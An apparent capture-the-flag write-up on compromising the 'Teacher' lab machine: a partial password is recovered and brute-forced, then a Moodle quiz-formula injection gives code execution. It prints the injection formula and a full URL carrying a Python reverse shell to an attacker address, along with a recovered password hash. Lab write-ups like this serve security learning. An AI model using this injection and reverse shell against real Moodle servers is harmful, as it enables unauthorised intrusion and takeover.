Machine: Teacher
OS: Linux
IP: 10.10.10.153

Only one port open - very small attacking surface.


Accessing the webservice, you get a website. One of the pages have a remark about this file


Checking the mentioned pic



Apparently we have a username and part of a password.

Username: Giovanni

Password: Th4C00lTheacha{a character}


Making a bit of web directory enumation,

You can find out that Moodle instance it’s on the webserver. Note this is a very handy tool for teachers especially in universities and high schools that make life easier for tests during years. Easier does not mean also secured though…


Therefore let’s check which password our user has.

You can notice the request with ‘#’ has a different response so it should be the answer!


Reaching the appropriate wfuzz command it’s based on burp analyses.

Now that you are logged in, google code inject moodle or remote code execution moodle and the first interesting article about it it’s


https://blog.ripstech.com/2018/moodle-remote-code-execution/


Here it’s described how a new quiz with a specific formula specified in the question can be exploited in order to gain remote code execution. And I whant to have a a remote shell on this server.


So create a new quiz.

Add a question with the specified formula /*{a*/`$_GET[0]`;//{x}} as can be seen in the article.

Access the question:


http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D8%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=10&wizardnow=datasetitems&cmid=8&0=(python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.13.106%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27)


And we have a shell


And a username and password for DB


So we found a MD5 password for Giovanni: 7a860966115182402ed06375cf0a22af


Seems he got expelled :( And here we got the user flag


Root was much easier than expected as I was able to make a symlink to a directory that was created by root :)


I hope you enjoyed the write-up and didn't made you wasting time. Drop me a cup of coffee for Sundays ( https://ko-fi.com/y2xhcmtrzw50 ) or email me kryptoniteclark@protonmail.com :)